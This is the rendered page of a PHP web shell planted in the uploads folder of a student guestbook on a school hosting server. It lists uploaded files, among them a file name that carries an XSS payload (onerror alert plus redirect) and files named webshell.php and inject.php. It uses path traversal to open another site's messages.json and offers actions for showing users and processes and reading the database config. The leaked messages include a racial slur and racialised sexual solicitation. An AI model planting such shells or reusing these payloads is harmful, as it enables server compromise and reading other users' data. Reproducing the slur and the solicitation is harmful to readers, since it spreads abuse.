🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../../../585871.klas4s23.mid-ica.nl/public_html/gastenboekv2/messages.json

[
    {
        "name": "piet",
        "timestamp": "05-07-2024 13:40",
        "message": "ha;llo",
        "image": ""
    },
    {
        "name": "iemand",
        "timestamp": "15-08-2024 20:02",
        "message": "I <3 femboys",
        "image": ""
    },
    {
        "name": "ciannan",
        "timestamp": "03-09-2024 10:09",
        "message": "Ik hou van homo's",
        "image": ""
    },
    {
        "name": "test KURWAAAAAA",
        "timestamp": "10-09-2024 16:55",
        "message": "EY IVAN DIT IS EEN TEST HET IS NU 10 SEPTEMER EN DE TIJD IS 16.55\r\n",
        "image": "uploads\/Screenshot 2024-08-03 232548.png"
    },
    {
        "name": "Ivan",
        "timestamp": "10-09-2024 17:00",
        "message": "Hallo ik zoek mooie zwarten meiden die ik in de kont kan nemen",
        "image": ""
    },
    {
        "name": "Tara",
        "timestamp": "11-09-2024 09:20",
        "message": "hallo ivan ik ben zwart en zou heet zalig vinden als ik mijn gaatje word gebord door jou zullen we een keer afspreken je mag mij boren voor 20 euro zo zalig",
        "image": ""
    },
    {
        "name": "monkey",
        "timestamp": "01-10-2025 14:48",
        "message": "balls",
        "image": "uploads\/xss_attack.gif"
    },
    {
        "name": "yoo",
        "timestamp": "01-10-2025 14:49",
        "message": "nigger",
        "image": ""
    },
    {
        "name": "test",
        "timestamp": "01-10-2025 15:03",
        "message": "test",
        "image": "uploads\/sneaky.png"
    }
]

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!